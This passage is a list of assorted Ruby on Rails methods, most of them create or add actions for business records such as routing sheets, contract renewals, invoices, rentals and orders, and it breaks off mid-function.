@new_product_state_id= ProductState.enviado # id 1=\"Enviado\" ProductState.where(\"state_name='Enviado'\").first.id\n product.update_attribute(:product_state_id, @new_product_state_id)\n end\n end\n format.html { redirect_to @routing_sheet, notice: 'La Hoja de Ruta se guardo con exito.' }\n format.json { render json: @routing_sheet, status: :created, location: @routing_sheet }\n rescue\n CustomLogger.error(\"No se pudo guardar la hoja de ruta: #{@routing_sheet.inspect}, usuario: #{current_user.username}, #{Time.now}\")\n format.html { redirect_to new_routing_sheet_path, notice: 'No se pudo guardar la hoja de ruta..' }\n format.json { head :no_content }\n end\n end\n end\n end", "def retro_add(community)\n i = 0\n users = community.users.reject { |u| u.resident.present? }\n\n users.each do |u|\n i += 1\n if i % 10 == 0\n puts \"Record ##{i}\"\n end\n\n addr = u.address_correlate\n\n r = Resident.create(\n :community => community,\n :first_name => u.first_name,\n :last_name => u.last_name,\n :address => u.address,\n :email => u.email,\n :street_address => addr,\n :user => u,\n :community_id => community.id\n )\n end\nend", "def create\n\t\n #ESTO SE VA DESCOMENTAR CUANDO SE INSERTE EL START_DATE Y EL END_DATE DEL FORMULARIO DE RENEWAL\n puts 'Aki va el array de Renewal'\n puts system_renewal_params\n puts 'Aki termina el arrayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'\n contract = System::Contract.find(system_renewal_params[:contract_id])\n @email = contract.supplier.email\n @start_date=Date.new(system_renewal_params[\"start_date(1i)\"].to_i,system_renewal_params[\"start_date(2i)\"].to_i,system_renewal_params[\"start_date(3i)\"].to_i)\n @end_date=Date.new(system_renewal_params[\"end_date(1i)\"].to_i,system_renewal_params[\"end_date(2i)\"].to_i,system_renewal_params[\"end_date(3i)\"].to_i)\n\t\tt0=Time.new(system_renewal_params[\"start_date(1i)\"].to_i,system_renewal_params[\"start_date(2i)\"].to_i,system_renewal_params[\"start_date(3i)\"].to_i)\n t1=Time.new(system_renewal_params[\"end_date(1i)\"].to_i,system_renewal_params[\"end_date(2i)\"].to_i,system_renewal_params[\"end_date(3i)\"].to_i)\n \n\t puts 'Aki va el parametro start_date sssssssssssssssssssssssssssssssssss'\n puts t1\n if params[:notification_date].nil?\n file_yaml = YAML.load_file \"#{Rails.root}/config/config.yml\"\n @before_days = file_yaml[\"production\"]['notification_time'].to_i.days\n else\n @before_days = params[:notification_date].to_i.days\n end\n \n @recordar = t0 - @before_days\n @recordar2 = t1 - @before_days\n puts 'aki va el recordatorio al iniciar la renovacion'\n puts @recordar\n puts 'aki terminaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n puts @email\n puts 'aki termina emailllllllllllllllllllllllllllllllllllllllllllllllllllllll'\n \n @email_departamento = contract.device.location.email \n array_mailer = [@email, @email_departamento]\n \n @delayed_id_start = ApplicationMailer.delay(run_at: @recordar).send_mail(array_mailer, contract,'create_renewal', @start_date, @end_date)\n @delayed_id_end = ApplicationMailer.delay(run_at: @recordar2).send_mail(array_mailer, contract,'create_renewal', @start_date, @end_date)\n \n\t@start_date_google=system_renewal_params[\"start_date(1i)\"].to_s + '-' + system_renewal_params[\"start_date(2i)\"].to_s + '-' + system_renewal_params[\"start_date(3i)\"].to_s + 'T10:00:52-05:00'\n\t@end_date_google=system_renewal_params[\"end_date(1i)\"].to_s + '-' + system_renewal_params[\"end_date(2i)\"].to_s + '-' + system_renewal_params[\"end_date(3i)\"].to_s + 'T10:00:52-05:00'\n\t@x=System::Contract.find(system_renewal_params[:contract_id])\n\t@google_event_start = System::Renewal.event_insert(@start_date_google,@start_date_google,@x.description,'neuro')\n @google_event_end= System::Renewal.event_insert(@end_date_google,@end_date_google,@x.description,'neuro')\n\n\t@system_renewal = System::Renewal.new(contract_id: system_renewal_params[:contract_id], start_date: @start_date, end_date: @end_date, monto: system_renewal_params[:monto], google_event_start: @google_event_start, google_event_end: @google_event_end, delayed_id_start: @delayed_id_start.id, delayed_id_end: @delayed_id_end.id)\n\n respond_to do |format|\n if @system_renewal.save\n @system_renewal.created_at.in_time_zone\n \n \n\tformat.html { redirect_to @system_renewal, notice: 'Renewal was successfully created.' }\n format.json { render :show, status: :created, location: @system_renewal }\n format.js { redirect_to @system_renewal, notice: 'Renewal was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @system_renewal.errors, status: :unprocessable_entity }\n format.js { render :new }\n end\n end\n end", "def add_question(name, type, klass)\n self.payload += add_record(name, type, klass).encode\n self.question_rr += 1\n end", "def add_additional(name, type, klass)\n self.payload += self.add_record(name, type, klass).encode\n self.additional_rr += 1\n end", "def create\n @housing_rent = HousingRent.new(housing_rent_params)\n @housing_rent.save\n \n @investment_declarations = InvestmentDeclaration.find_by(id: @housing_rent.investment_declaration_id)\n @housing_rents = HousingRent.where(investment_declaration_id: @investment_declarations)\n\n accepted_rent_sum = 0\n \n @housing_rents.each do |hr|\n amount_p = hr.accepted_rent\n accepted_rent_sum = accepted_rent_sum.to_f + amount_p\n end\n @investment_declarations.update(actual_amt: accepted_rent_sum)\n @investment_declarations.update(actual_amt: accepted_rent_sum)\n\n redirect_to show_employee_declaration_investment_declarations_path\n # @housing_rent = HousingRent.new(housing_rent_params)\n\n # respond_to do |format|\n # if @housing_rent.save\n # format.html { redirect_to @housing_rent, notice: 'Housing rent was successfully created.' }\n # format.json { render :show, status: :created, location: @housing_rent }\n # else\n # format.html { render :new }\n # format.json { render json: @housing_rent.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def add(data)\n \n # selecting all records, skipping old ones.\n result = @db.get_first_row \"SELECT id, counter FROM requests WHERE domain=:domain AND request=:request AND status=:status AND referer=:referer AND ip=:ip AND first_seen<=:first_seen\",\n 'domain' => data[:domain],\n 'request' => data[:request],\n 'referer' => data[:referer],\n 'status' => data[:status],\n 'ip' => data[:ip],\n 'first_seen' => $config.detection['max_period'].seconds.ago.to_i\n # adding new request, overwriting too old ones.\n if result.nil?\n @db.execute \"INSERT OR REPLACE INTO requests (domain, request, referer, status, ip, first_seen, last_seen, counter) \n VALUES (:domain, :request, :referer, :status, :ip, strftime('%s','now'), strftime('%s','now'), 1)\",\n 'domain' => data[:domain],\n 'request' => data[:request],\n 'referer' => data[:referer],\n 'status' => data[:status],\n 'ip' => data[:ip]\n else\n # Look, Ma! We got fresh requests\n @db.execute \"UPDATE requests SET last_seen = strftime('%s','now'), counter = counter+1 WHERE id = ?\", result['id']\n end\n end", "def req_match_new\n\t cur_emp = get_logged_employee\n\t\tstatus = params[:status]\n\t req_ids = params[:req_id].split(\",\")\n\t resume = Resume.find(params[:resume_id])\n req_ids.each do |f|\n\t\t requirement = Requirement.find(f)\n\t\t\trequirement.forwards.where(:resume_id => resume.id).update(:status => \"ACTION TAKEN\")\n\t\t req_match = ReqMatch.new\n\t\t req_match.resume_id = resume.id\n\t\t req_match.requirement_id = requirement.id \n\t\t req_match.forwarded_to = Employee.find(requirement.employee_id)\n req_match.status = status\n\t\t req_match.save\n\t\t\ttype = params[:type]\n\t\t\ttext = params[:comment] \n\t\t\tcomment = status + \" :\" + text + \" For \" + \"\" + requirement.name + \".\"\n\t\t\t@comment = Comment.new\n\t\t\t@comment.create_comment(comment, resume.id, cur_emp.eid, type )\n\t\t\tif status == \"SHORTLISTED\"\n\t\t nreq_matches = resume.nreq_matches + 1\n\t resume.update_columns(:nreq_matches => nreq_matches)\n\t\t\tend\n\t\tend\n\tend", "def add_invoice\n if invoice_exist?\n update_invoice\n else\n Invoice.insert(invoice_number: invoice, rate: rate, hours: hours, amount: amt, client_id: client_id, post_date: post_date, provider_id: provider.id, client_name: client_name.strip)\n end\n end", "def add_new\n if params[:card][:weight].blank?\n @weight = 0\n else\n @weight = params[:card][:weight].to_i\n end\n @rate = Rate.find(1)\n @card = CardDetail.new(params[:card]) \n @card.weight = @weight\n @card.card_type = params[:type]\n @random = Random.rand(10000000)\n @card.card_id = \"IPO-#{@random}\"\n @card.status = \"Received\"\n\n if params[:type] == \"ordinary\"\n @cost = @rate.ordinary_post\n @card.rate = @rate.ordinary_post\n @card.amount = @rate.ordinary_post\n @card.weight = 0\n else\n @cost = @rate.speed_post\n @card.rate = @rate.speed_post \n @card.amount = @card.rate * @weight \n end #if params[:type] == \"ordinary\"\n \n \n if @card.save\n flash[:notice] = \"New Entry saved Successfully\"\n @card_id = @card.card_id\n redirect_to :action => \"entry_view\" , :id => @card_id\n else\n flash[:notice] = \"New Entry not saved \"\n end # if @user.save\n end", "def add_batch_recipients(number_of_recipients=10)\n #dummy_email_addresses = [\"test1@sink.sendgrid.net\",\"test2@sink.sendgrid.net\",\"test3@sink.sendgrid.net\"]\n dummy_email_addresses = generate_random_email_addresses(number_of_recipients)\n email_array_batch_input = create_email_list_for_batch_recipient_add(dummy_email_addresses)\n payload = email_array_batch_input.to_json\n puts \"adding recipients to db from #{payload}\"\n url = \"#{@goseg_base_url}/recipients_batch\"\n res = RestClient.post(url,payload){|response, request, result| response }\n return res\n end", "def create\n @issuance = Issuance.new(issuance_params)\n respond_to do |format|\n if @issuance\n current_user.issuances << @issuance\n stk_id = params[:issuance][:stock_id]\n qtysb = params[:issuance][:qtysingleb]\n stock = Stock.find(stk_id)\n stock.update(:qtyreceived => qtysb)\n format.html { redirect_to issuances_path, notice: 'Issuance was successfully created.' }\n format.json { render :show, status: :created, location: @issuance }\n else\n format.html { render :new }\n format.json { render json: @issuance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n item_exists = false\n item_id = params[:detalle_ot_presupuesto][:repuesto_servicio_id].to_i\n @orden_trabajo_presupuesto.detalle_ot_presupuestos.each do |detail|\n if detail.repuesto_servicio_id == item_id\n # Ya existe el item en la factura, agregar cantidad\n item_exists = true\n @detalle_ot_presupuesto = detail\n @saved_sale_detail = detail.id\n break\n end\n end\n if item_exists\n @detalle_ot_presupuesto.cantidad += params[:detalle_ot_presupuesto][:cantidad].to_i\n @detalle_ot_presupuesto.precio_venta= params[:detalle_ot_presupuesto][:precio_venta].to_f\n @detalle_ot_presupuesto.save!\n else\n detalle_ot_presupuesto = DetalleOtPresupuesto.new(detalle_ot_presupuesto_params)\n @orden_trabajo_presupuesto.detalle_ot_presupuestos << detalle_ot_presupuesto\n end\n\n respond_to do |format|\n \n if @orden_trabajo_presupuesto.save\n format.html {redirect_to @orden_trabajo_presupuesto, notice: 'El detalle se agregó correctamente.'}\n format.json {render :show, status: :created, location: @detalle_compra}\n else\n format.html {render :new}\n format.json {render json: @detalle_ot_presupuesto.errors, status: :unprocessable_entity}\n end\n end\n end", "def add_charge\n #if params[:charge][:room_list_id].to_s == \"\"\n # if params[:charge][:product_id].to_s != \"\"\n # pd_tmp = Product.find(params[:charge][:product_id]).config\n # if pd_tmp != '4' # not payment\n # respond_to do |format|\n # format.json { render json: {success: false} }\n # end\n # return \n # end\n # else\n # respond_to do |format|\n # format.json { render json: {success: false} }\n # end\n # return \n # end\n #end\n \n if params[:charge][:product_id].to_s == \"\"\n respond_to do |format|\n format.json { render json: {success: false} }\n end\n return\n end\n \n folio = Folio.where(input_type_id: params[:charge][:input_type_id]).order(:id).first \n expense = Expense.new(params[:charge])\n expense.folio_id = folio.id\n if expense.save\n respond_to do |format|\n format.json { render json: {success: true} }\n end\n else\n respond_to do |format|\n format.json { render json: {success: false} }\n end\n end\n end", "def create\n @troop = Troop.new(troop_params)\n #number = params[:troop][:number].to_i\n respond_to do |format|\n if @troop.save\n @production = Production.new\n @production.troop = @troop\n @production.save!\n #sequence = SeqRangeTroopNumber.new\n #sequence.rtn = number\n #sequence.save!\n format.html { redirect_to @troop, notice: 'Tropa exitosamente creada.' }\n format.json { render :show, status: :created, location: @troop }\n else\n format.html { render :new }\n format.json { render json: @troop.errors, status: :unprocessable_entity }\n end\n end\n end", "def add(arrest)\n # Skip this arrest if we've already tried to download it\n key = arrest_key(arrest.date, arrest.last, arrest.first)\n if @arrests.has_key?(key)\n Log.d(\"Skipping arrest: #{key}\")\n Log.d(\"---------------------\")\n return nil\n end\n\t\t\n # Download the images\n # AMF - changed this to use the new image property instead of base\n\n image1 = download_image(URI.join(@image, arrest.image1), 1, key) rescue nil\n image2 = download_image(URI.join(@image, arrest.image2 || arrest.image1), 2, key) rescue nil\n image1 ||= DFG::Scrape::DEFAULT_IMAGE\n image2 ||= image1\n\n # Add this arrest to the hash (so we don't try to download it again)\n Log.d(\"Adding arrest: #{key}\")\n @count += 1\n @arrests[key] = true\n\n id = 0\n if @conn # Don't execute the queries in test mode\n @insert_arrest.execute(arrest.date, arrest.last, arrest.first, image1, image2)\n id = @conn.insert_id\n arrest.charges.each_index {|i|\n charge = arrest.charges[i]\n @insert_charge.execute(id, i, charge[:desc], charge[:bond]) rescue next\n }\n end\n Log.d(\"---------------------\")\n return id\n rescue Exception\n Log.e($!)\n return nil\n end", "def add!(name, body)\n @status_add[name] = body\n end", "def create\n\n @respuestum = Respuestum.new(respuestum_params)\n # @comentario = Comentario.find(params[:id])\n #nombre = params[:nombre]\n #correo = params[:correo]\n #comentario = params[:comentario]\n\n #@respuestum = Respuestum.create(:nombre => string, :correo => string, :descripcion => text,:comentario_id => @comentario.id)\n\n respond_to do |format|\n if @respuestum.save\n format.html { redirect_to comentarios_url}\n format.json { render :show, status: :created, location: @respuestum }\n else\n format.html { render :new }\n format.json { render json: @respuestum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Вызвать такси\n @order_number = Taxirequest.call_a_taxi(params[:taxirequest])\n # Разместить заявку на такси в таблице taxirequests\n @taxirequest = Taxirequest.add_request(params[:taxirequest], session[:employee_id], @order_number)\n #@taxirequest = Taxirequest.new(params[:taxirequest])\n\n respond_to do |format|\n if @taxirequest.save\n format.html { redirect_to @taxirequest, notice: 'Taxirequest was successfully created.'+@response }\n format.json { render json: @taxirequest, status: :created, location: @taxirequest }\n else\n format.html { render action: \"new\" }\n format.json { render json: taxirequest.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def add_doi(doi_n)\n #$log.info(\"Agregar #{doi_n} a #{self[:id]}\")\n status=Result.new\n\n crossref_doi=CrossrefDoi.process_doi(doi_n)\n\n unless crossref_doi\n status.error(I18n::t(\"add_doi.cant_process_doi\", doi:doi_n))\n return status\n end\n\n $db.transaction do\n ##$log.info(co)\n if self[:doi]==doi_n\n status.info(I18n::t(\"add_doi.doi_already_on_reference\", doi:doi_n, reference:self[:text]))\n else\n self.update(:doi=>doi_without_http(doi_n))\n status.success(I18n::t('add_doi.doi_set_to_reference', doi:doi_n, reference:self[:text]))\n end\n\n if self[:canonical_document_id].nil?\n can_doc=CanonicalDocument[:doi=>doi_without_http(doi_n)]\n if can_doc\n self.update(:canonical_document_id=>can_doc[:id])\n status.info(I18n::t('add_doi.reference_to_canonical_document', canonical_document:can_doc[:title], reference:self[:text] ))\n else # No existe el canónico, lo debo crear\n integrator=CrossrefDoi.reference_integrator_json(doi)\n ##$log.info(integrator)\n fields = [:title,:author,:year,:journal, :volume, :pages, :doi, :journal_abbr,:abstract]\n fields_update=fields.inject({}) {|ac,v|\n ac[v]= integrator.send(v); ac;\n }\n\n # En casos muy raros no está el año. Tengo que reportar error, no más\n if fields_update[:year].nil?\n status.error(I18n::t('add_doi.doi_without_year', doi:doi_n))\n fields_update[:year]=0\n end\n can_doc_id=CanonicalDocument.insert(fields_update)\n self.update(:canonical_document_id=>can_doc_id)\n status.success(I18n::t('add_doi.new_canonical_document', can_doc_id:can_doc_id, can_doc_text:integrator.ref_apa_6))\n end\n $db.after_rollback {\n status=Result.new\n status.error(I18n::t('add_doi.rollback', reference:self[:text]))\n }\n end\n end\n\n status\n end", "def add task_details\n\n #prepare payload\n now = Time.now.to_i \n defaults = {\n \"method\" => \"task.save\",\n \"id\" => UUID.generate,\n \"type\" => 0,\n \"_type\" => now,\n \"state\" => 0,\n \"_state\" => now,\n }\n\n task = defaults.merge(task_details)\n self.post [task].to_json\n end", "def create\n @wb_id = params[:requisition][:wb_id]\n\t@week = params[:requisition][:week]\n\t@requisition = Requisition.new(requisition_params)\n\t@requisition.user_id = current_user.id\n\t@requisition.school_id = current_user.school_id\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to add_requisition_requisitions_path(wb_id: @wb_id, week: @week), notice: 'Requisition was successfully created.' }\n format.json { render action: 'show', status: :created, location: @requisition }\n else\n format.html { redirect_to :back, notice: 'Requisition already exists.' }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_upper_body(db, name, complete, user_id)\n\tcomplete = \"incomplete\"\n\tdb.execute(\"INSERT INTO upper_body (name, complete, user_id) VALUES (?,?,?)\", [name, complete, user_id])\n\tputs \"added upper body workout\"\nend", "def new\n flash[:notice]=\"\"\n @routing_sheet = RoutingSheet.new\n $products= Array.new\n @area= Area.new\n $total=0;\n @start_value=ActiveRecord::Base.connection.execute(\"select start_value from routing_sheets_id_seq\").first[\"start_value\"]\n $number=ActiveRecord::Base.connection.execute(\"select last_value from routing_sheets_id_seq\").first[\"last_value\"]\n #La primera ves que se registra una hoja de ruta se setea como numero 1\n if(@start_value.to_i == $number.to_i) \n @first=RoutingSheet.first\n\n if(!@first.nil?) \n $number= 2\n else\n $number= 1\n end\n @routing_sheet.number= $number.to_i #\n else\n @routing_sheet.number=$number.to_i + 1\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routing_sheet }\n end\n end", "def add_expense\n res = RResponse.new\n begin\n cost = OrderEntityCost.create(params[\"cost\"])\n res.data = cost.to_h\n res.success = true\n res.msg = 'Added new order cost'\n rescue StandardError => e\n res.msg = 'Error: ' + e\n end\n respond(res)\n end", "def create\n # render :text => params.inspect;return\n @rent = Rent.new(params[:rent])\n @properties = AddProperty.find(:all, :conditions => \" is_rented = 0 \");\n\n respond_to do |format|\n if @rent.save\n property = @rent.add_property\n property.is_rented = true\n property.save\n \n due_date = @rent.signed_contract_date\n period = @rent.contract_period.to_i\n period.times do \n rt = RentsTransaction.new\n rt.rent_id = @rent.id\n rt.rent_amount = @rent.rent_per_month\n rt.due_date = due_date\n rt.next_due_date = due_date + 1.month\n rt.bal_amount = @rent.rent_per_month\n rt.save\n due_date = due_date + 1.month\n end\n\n format.html { redirect_to @rent, notice: 'Rent was successfully created.' }\n format.json { render json: @rent, status: :created, location: @rent }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rent.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def create\n @reminder = Reminder.new(params[:reminder])\n\n respond_to do |format|\n if @reminder.save\n # add contacts to schedule_contact table\n\t@loop_over_count = params[:contact_number_name_list].length\n\t\n \tfor @i in 0..(@loop_over_count-1)\n\t\t@reminder.schedule_contacts.create(:name => params[:contact_number_name_list][@i], :contact_no => params[:contact_number_list][@i], :status => \"Pending\")\n \tend\n format.html { redirect_to reminders_path, notice: 'Reminder was successfully created.' }\n format.json { render json: @reminder, status: :created, location: @reminder }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_question\n\t\t\tif(current_instructor.quizzes.exists?(:id => params[:quiz_id]))\n\t\t\t\tquiz = current_instructor.quizzes.find(params[:quiz_id])\n\t\t\t\tno = quiz.no_of_MCQ + quiz.no_of_rearrangeQ\t\n\t\t\t\tno.times do |n|\n\t\t\t\t\tquestion = Question.create((params[\"_json\"][n]).permit([:text, :mark, :right_answer, :choices => []]))\n\t\t\t\t\tquiz.questions << question\n\t\t\t\tend\n\t\t\t\trender json: { info: \"created\"}, status: 201\n\t\t\telse\n\t\t\t\trender json: { error:\"Quiz is not found\" }, status: 422\n\t\t\tend\n\t\tend", "def increment_responses_count\n self.responses_count += 1\n save\n end", "def create_batch\n exp_list = []\n exp_err_list = []\n error_count = 0\n expedientes.each_with_index do |item, index|\n this_is_error = false\n expediente = expedientes[index][:expediente][:type].constantize.where(identificador: expedientes[index][:expediente][:identificador]).first\n cliente_recibido = expedientes[index][:expediente][:cliente_id]\n # it is a new Expediente\n if expediente.nil?\n type = \"New\"\n expediente = expedientes[index][:expediente][:type].constantize.new( this_expediente_params( index ) )\n if expediente.save\n result = \"success\"\n elsif check_special cliente_recibido\n result = \"special\"\n else\n result = \"error\"\n error_count = error_count + 1\n this_is_error = true\n end\n # it is an already existing Expediente\n else\n type = \"Edit\"\n if expediente.update_attributes( this_expediente_params( index, expediente.fecha_alta ) )\n result = \"success\"\n elsif check_special cliente_recibido\n result = \"special\"\n else\n result = \"error\"\n error_count = error_count + 1\n this_is_error = true\n end\n end\n exp_list << create_response(index, type, expediente, result, cliente_recibido) # add a response object for the received record\n if this_is_error\n exp_err_list << create_response(index, type, expediente, result, cliente_recibido) # add a response object for the received record\n this_is_error = false\n end\n end\n render json: exp_list\n respuesta = response_block(expedientes.count, error_count, exp_list)\n respuesta_email = response_block(expedientes.count, error_count, exp_err_list)\n Rails.application.config.api_logger.debug respuesta\n if error_count > 0\n ApiMailer.api_error_message(respuesta_email).deliver\n end\n end", "def create\n # result= get_stock_cargo_from_params(params)\n # @stock_cargo = StockCargo.new(params)\n \n # params[:stockcargo][:package_name]= #init value\n params[:stockcargo][:package_name]=$package_category_two[params[:stockcargo][:package_code]] #init value\n \n # unless params[:stockcargo][:cate_code].nil?\n params[:stockcargo][:cate_name]=$cargo_category_two[params[:stockcargo][:cate_code]] #init value\n # else\n \n # end\n params[:stockcargo][:cargocount]=0 #init value\n params[:stockcargo][:status]=\"货物闲置\" #init value\n #must initialilize ,otherwise $inc in update will not work\n params[:stockcargo][:valid_cargo]=0\n params[:stockcargo][:total_cargo]=0\n params[:stockcargo][:expired_cargo]=0\n params[:stockcargo][:sent_weight]=0\n params[:stockcargo][:sent_bulk]=0\n params[:stockcargo][:user_id]=session[:user_id] \n @stock_cargo = StockCargo.new(params[:stockcargo]) \n respond_to do |format|\n if @stock_cargo.save\n flash[:notice]=\"货物创建成功,点击下面的发布货源按钮,发布该类货物的货源信息\"\n Ustatistic.collection.update({'user_id' => session[:user_id]},{'$inc' => {\"total_stock_cargo\" => 1}}) \n # format.html { redirect_to(@stock_cargo) }\n format.html { redirect_to :action=>\"index\"}\n format.xml { render :xml => @stock_cargo, :status => :created, :location => @stock_cargo }\n else\n flash[:notice] = '货物创建失败了!.'\n format.html { render :action => \"new\" }\n format.xml { render :xml => @stock_cargo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\n\n coupon_id = params[:phone][:coupon_id]\n c = Coupon.find(coupon_id)\n\n\n\n @phone = Phone.new(phone_params)\n\n respond_to do |format|\n if @phone.save\n\n Promotion.create(phone_id: @phone.id, coupon_id: c.id)\n # set up a client to talk to the Twilio REST API\n @client = Twilio::REST::Client.new ENV['account_sid'], ENV['auth_token']\n\n @client.account.messages.create({\n :from => '+19548585330',\n :to => '+1'+@phone.mobile,\n :body => \"Thank you! your coupon promo code is #{c.promocode} --- This is a DEMO\",\n })\n\n if c.max_count < 1\n c.expiration = true\n c.save\n else\n c.max_count = c.max_count - 1\n c.save\n end\n\n\n\n\n format.html { redirect_to coupons_path, notice: 'Thank you!. You will receive a SMS with your promo code.' }\n format.json { render :show, status: :created, location: @phone }\n else\n format.html { render :new }\n format.json { render json: @phone.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reject = Reject.new(reject_params)\n @reject.specification_id = session[:specification_sel_id]\n if \"Rechazar solicitud\" == @reject.estado\n @specification = Specification.where(:id => session[:specification_sel_id]).first \n @specification.p1 = 1\n @specification.p2 = 1\n @specification.p3 = 1\n @specification.p4 = 1\n @specification.p5 = 1\n @specification.p6 = 1\n @specification.p7 = 1\n @specification.p8 = 1\n @specification.p9 = 1\n @specification.save\n end\n respond_to do |format|\n if @reject.save\n format.html { redirect_to \"/rejects/\", notice: 'Requisition was successfully created.' }\n format.json { render :show, status: :created, location: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end", "def add(num)\n #item = '9781133049791'\n item = num.fetch(\"isbn\")\n if !Book.pluck(:isbn).include?(item)\n @res = Amazon::Ecs.item_search(item, { :search_index => 'All', :response_group => 'Medium' })\n @res.items.each do |book|\n @db = Book.create\n @db.isbn = item\n @db.author = book.get('ItemAttributes/Author')\n @db.name = book.get('ItemAttributes/Title')\n @db.edition = book.get('ItemAttributes/Edition').to_i\n @db.retail_price = ((book.get('ItemAttributes/ListPrice/Amount').to_f/100)*3.65).to_i\n @db.description = book.get('EditorialReviews/EditorialReview/Content')\n @db.photo = book.get('LargeImage/URL')\n @db.save\n end\n end\n @thisBook = Book.find(:all, :conditions => {:isbn => item})\n redirect_to @thisBook\n end", "def create\n @requisition = Requisition.new(requisition_params)\n @requisition.user_id = current_user.username\n @requisition.specification_id = session[:specification_sel_id]\n @requisition.solicitante = @requisition.solicitante.upcase\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to @requisition, notice: 'Requisition was successfully created.' }\n format.json { render :show, status: :created, location: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if Valuetoprocess.last == nil\n doccode = 1\n else\n doccode = Valuetoprocess.last.id + 1\n end\n amount = 10\n vtp= Valuetoprocess.new\n vtpv = {DocDate: \"2014-04-17\",CustomerCode: \"CUST1\",DocCode: (doccode),Commit: \"1\",DocType: \"SalesInvoice\",Addresses: [{AddressCode: \"1\",Line1: \"100 Ravine Lane NE\",City: \"Bainbridge Island\",Region: \"WA\", PostalCode: \"98110\"}], Lines: [{LineNo: \"1\",DestinationCode: \"1\",OriginCode: \"1\",Qty: 1, Amount: amount }] }\n vtp.value = vtpv.to_json\n vtp.save\n ProcessWorker.perform_async(vtp.id)\n redirect_to items_path\n # @item = Item.new(params[:item])\n\n # respond_to do |format|\n # if @item.save\n # format.html { redirect_to @item, notice: 'Item was successfully created.' }\n # format.json { render json: @item, status: :created, location: @item }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @item.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def addRushee\n @event = Event.find(params[:event_id])\n rushee = Rushee.find(params[:attendance][:rushee_id])\n @event.addRushee(rushee)\n redirect_to event_path(@event), alert: 'Rushee was added'\n \n rescue ActiveRecord::RecordNotFound\n redirect_to event_path(@event), alert: 'No Rushee was specified'\n\n end", "def create\n @gstr_advance_receipt = GstrAdvanceReceipt.create_gstr_advance_receipt(params, @company, @current_user, @financial_year.year.name)\n\n respond_to do |format|\n \n if @gstr_advance_receipt.save_with_ledgers && @gstr_advance_receipt.valid?\n \n VoucherSetting.next_gstr_advance_receipt_voucher_write(@company)\n GstrAdvanceReceipt.create_gstr_advance_receipt_history(@gstr_advance_receipt.id,@company.id,@current_user.id,\"created\")\n GstrAdvanceReceiptFilerWorker.perform_async(@company.id,@gstr_advance_receipt.id)\n format.html { redirect_to @gstr_advance_receipt, notice: 'Gstr advance receipt was successfully created.' }\n format.json { render json: @gstr_advance_receipt, status: :created, location: @gstr_advance_receipt }\n else\n @gstr_advance_receipt.gstr_advance_receipt_line_items.each do |line_item|\n (2-line_item.gstr_advance_receipt_taxes.size).times{line_item.gstr_advance_receipt_taxes.build}\n end\n \n @voucher_setting=VoucherSetting.find_by_company_id_and_voucher_type(@company.id,25)\n @gstr_advance_receipt.voucher_number = @voucher_setting.gstr_advance_receipt_voucher_number(@company)\n @customer_id= Customer.find_by_company_id(@company.id)\n @from_accounts = TransactionType.fetch_from_accounts(@company.id,'sales')\n @deposit_to = TransactionType.fetch_to_accounts(@company.id,'receipts')\n @tax_accounts = TransactionType.fetch_from_accounts(@company.id, 'tax')\n @shipping_accounts = Account.get_other_expense_accounts(@company)\n @customer_account_heads = AccountHead.get_customer_and_vendor_account_heads(@company.id)\n @sales_account_heads = AccountHead.get_sales_account(@company.id)\n @tax_account_heads = AccountHead.get_duties_and_taxes_account(@company.id)\n @vendor_id= Vendor.find_by_company_id(@company.id)\n @products= Product.get_sales_products(@company.id)\n @states = State.where(country_id: 93)\n\n\n\n format.html { render action: \"new\" }\n format.json { render json: @gstr_advance_receipt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n num_days = (Date.parse(params['rent_info']['end_date']).mjd - Date.parse(params['rent_info']['start_date']).mjd) \n total = num_days * params['rent_info']['price_per_day']\n # byebug\n if User.find(params['rent_info']['owner_id'])\n user = User.find(params['rent_info']['owner_id'])\n user.money_made += total \n user.save\n end\n\n renter_post = RenterPost.create(\n renter_id: params['rent_info']['renter_id'],\n post_id: params['rent_info'][\"post_id\"],\n start_date: params['rent_info'][\"start_date\"],\n end_date: params['rent_info'][\"end_date\"],\n status: params['rent_info'][\"status\"]\n )\n if renter_post \n render json: renter_post\n else\n render json: {error: \"Could not create Renter Post\"}\n end\n end", "def create\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{order_params['email'].to_s}\")\n codeCustomer = res.code\n dataCustomer = res.parsed_response\n p res\n res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n #res = HTTParty.get(\"http://localhost:8082/items/#{order_params['itemid'].to_s}.json\")\n codeItem = res.code\n dataItem = res.parsed_response\n p dataItem\n if codeCustomer != 404 && codeItem != 404\n newParams = order_params\n newParams[\"award\"] = dataCustomer[\"award\"] \n newParams[\"price\"] = dataItem[\"price\"]\n newParams[\"total\"] = dataItem[\"price\"] - dataCustomer[\"award\"]\n p newParams\n \n #HTTParty.put(\"http://localhost:8081/customers/order?award=#{newParams['award']}&total=#{newParams[\"total\"]}&customerId=#{newParams['customerid']}\")\n end\n if codeCustomer == 404 || codeItem == 404\n if codeCustomer == 404 and codeItem == 404\n render json: {error: \"Customer and Item do not exist\"}, status: 400\n return\n end\n if codeCustomer == 404 and codeItem != 404\n render json: {error: \"Customer does not exist\"}, status: 400\n 